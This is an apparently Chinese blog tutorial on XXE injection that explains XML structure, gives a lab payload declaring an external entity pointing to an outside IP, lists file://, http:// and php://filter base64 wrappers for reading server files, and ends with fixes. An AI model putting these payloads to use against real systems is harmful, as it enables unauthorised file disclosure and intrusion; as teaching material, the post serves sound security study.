认识XXE注入

一、漏洞原理

XML是什么?

官方的说法:XML(可扩展标记语言,Extensible Markup Language)是一种用于描述数据的标记语言。它被设计用于传输和存储数据,尤其适用于因特网上的文档表示和信息交换。

简单的来说XML就相当于是一本书,而书中有章目录页,目录内引用的就是书中的内容这叫实体应用,而XXE攻击就是通过外部引用。

<?xml version="1.0" encoding="UTF-8"?> //是 XML 声明,指定 XML 版本和字符集。
<library>   //是根元素。
  <!-- This is a comment --> //是注释。
  <book category="fantasy">
    <title>Harry Potter</title>
    <author>J.K. Rowling</author>
  </book>
  <book category="science-fiction">
    <title>Dune</title>
    <author>Frank Herbert</author>
  </book>
  <book category="mystery">
    <title>Sherlock Holmes</title>   //元素包含文本内容。
    <author>Arthur Conan Doyle</author>  //元素包含文本内容。
  </book>
</library>

<?xml version="1.0" encoding="UTF-8"?> 是 XML 声明,指定 XML 版本和字符集。
<library> 是根元素。
<!-- This is a comment --> 是注释。
<book> 元素包含了一个属性 category,以及两个子元素 <title> 和 <author>。
<title> 和 <author> 元素包含文本内容。

二、漏洞利用

xxe靶场

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://172.16.234.196/1.txt"> ]>
<user><username>&xxe;</username><password>admin</password></user>

读取文件,通过调用用户用构造的payload

file://

http://url/文件名

php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/1.txt

三、漏洞修复

  1. 直接禁止外部实体引用,libxml_disable_entity_loader(true)
  2. 过滤用户提交的xml数据
  • 7
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值